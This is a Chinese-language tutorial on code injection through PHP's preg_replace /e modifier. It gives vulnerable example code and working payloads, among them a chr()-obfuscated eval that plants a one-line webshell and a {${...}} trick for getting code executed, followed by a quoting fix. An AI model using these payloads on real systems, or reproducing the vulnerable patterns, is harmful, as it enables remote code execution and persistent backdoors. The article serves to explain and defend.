preg_replace危險的/e修飾符，慎用！！！

preg_replace函數原型：


mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])


特別說明：

/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼（在適當的逆向引用替換完之後）。提示：要確保 replacement 構成一個合法的 PHP 代碼字串，否則 PHP 會在報告在包含 preg_replace() 的行中出現文法解析錯誤。 

舉例：


<?php
preg_replace ("/(</?)(w+)([^>]*>)/e",
              "\1.strtoupper(\2).\3",
              $html_body);
?>


這將使輸入字串中的所有 HTML 標記變成大寫。 


安全威脅分析：

通常subject參數是由用戶端產生的，用戶端可能會構造惡意的代碼，例如：


<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>


如果我們提交?h=phpinfo()，phpinfo()將會被執行（使用/e修飾符，preg_replace會將 replacement 參數當作 PHP 代碼執行）。

如果我們提交下面的代碼會怎麼樣呢？
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文對應的明文是：fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);

執行的結果是在/data/目錄下產生一個一句話木馬檔案 a.php。


再來一個有難度的例子：



<?
function test($str)
{

}

echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>


提交 ?h=[php]phpinfo()[/php]，phpinfo()會被執行嗎？  

肯定不會。因為經過正則匹配後， replacement 參數變為'test("phpinfo")'，此時phpinfo僅是被當做一個字串參數了。

有沒有辦法讓它執行呢？

當然有。在這裡我們如果提交?h=[php]{${phpinfo()}}[/php]，phpinfo()就會被執行。為什麼呢？

在php中，雙引號裡面如果包含有變數，php解譯器會將其替換為變數解釋後的結果；單引號中的變數不會被處理。

注意：雙引號中的函數不會被執行和替換。

在這裡我們需要通過{${}}構造出了一個特殊的變數，'test("{${phpinfo()}}")'，達到讓函數被執行的效果（${phpinfo()}會被解釋執行）。

可以先做如下測試：

echo "{${phpinfo()}}";   phpinfo會被成功執行了。


如何防範這種漏洞呢？

將'test("\1")' 修改為"test('\1')"，這樣‘${phpinfo()}’就會被當做一個普通的字串處理（單引號中的變數不會被處理）。


參考文章：

《php手冊 - preg_replace》 http://www.yesky.com/imagesnew/software/php/zh/function.preg-replace.html
《Uchome <=2.0 後台GetWebShell 漏洞》  http://www.5luyu.cn/article/jishu/708.htm
《preg_replace漏洞利用詳解》 http://www.dbgger.com/?id=334 （這網站介面巨像安全焦點）


附測試代碼：